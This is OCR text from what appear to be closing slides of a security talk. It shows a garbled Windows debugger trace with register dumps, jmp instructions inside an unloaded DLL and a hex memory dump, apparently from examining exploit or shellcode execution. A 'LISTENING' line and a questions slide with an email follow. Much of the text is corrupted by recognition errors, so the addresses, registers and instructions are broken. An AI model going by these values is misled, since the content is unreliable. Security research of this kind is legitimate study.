MDIEE=!D1llUnregisterServer+0=x160f : 015fa7=d4 523345856
03sbZedd 3 ret 015fa7e8 43444238
0o.008: t 015fa7ec 4fd=edd4f
=ax=00000000 =bz=00000000 ecx=03eb26d? =edx=7c9132bc e=i=015{7f3c =edi=7c9132a8 015fa7f0 4=4b564c
ei1p=015f{a?9c e=sp=015f7Yecl =bp=015f7=74 1o0pl=0 nv up i1 pl =r na pe nc 015fa7fd4 4=45544d
c==001b ===0023 d==0023 e==0023 {f==003b g==0000 ef1=00000246 015fa?f8 4f4f4£49
¢{UInloaded_lu=s . dll>+0=x15fa79b: 015fa7fc 4fdfdf4df
015fa79c =ble Jjmp <UInloaded_lus.dll:+0=xl5fa7a3 (01l5fa?ad) 015fa8300 484h5642
0o:008: t 015f=a804 3Z46564e
=ax=00000000 =bz=00000000 ecx=03eb2ed? edx=7c9132bc e=i=015f{7f3c edi=7c9132a8 015fal08 384h3246
eip=015fa7ad4 e=p=015f7=cl ebp=015f7=74 iopl=0 nv up i pl zr na pe nc 015faB80c 534=4d4445
c==001b ===0023 d==0023 e==0023 {f==003b g==0000 ef1=0000024% 015fa810 374=584b
Tnloaded lus dll-40=]10fa753; 015fa814 57453045
015fa7a4 =b03 Jmp ¢Unloaded lus.dll:+0x15fa7a8 (015fa7a93] 015f=a218 d4=4£3041
HI'EEN=] 015fa8l1lc 344f434b

LIZTEMING
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Questions

brian.mariani@htbridge.ch
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